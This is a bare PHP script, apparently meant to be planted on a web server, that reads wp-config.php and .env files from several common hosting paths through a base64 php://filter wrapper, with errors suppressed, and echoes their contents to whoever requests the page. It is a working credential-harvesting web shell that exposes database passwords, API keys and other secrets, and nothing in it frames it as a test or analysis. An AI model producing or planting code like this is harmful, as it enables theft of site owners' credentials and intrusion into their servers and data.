<?php
$content = "";
$files = [
"/home/" . get_current_user() . "/public_html/wp-config.php",
"/home/" . get_current_user() . "/public_html/.env",
"/home/" . get_current_user() . "/.env",
"/var/www/html/wp-config.php",
"/var/www/vhosts/" . get_current_user() . "/httpdocs/wp-config.php",
];
foreach ($files as $f) {
$c = @file_get_contents("php://filter/convert.base64-encode/resource=" . $f);
if ($c) $content .= base64_decode($c) . "
";
}
echo $content;
?>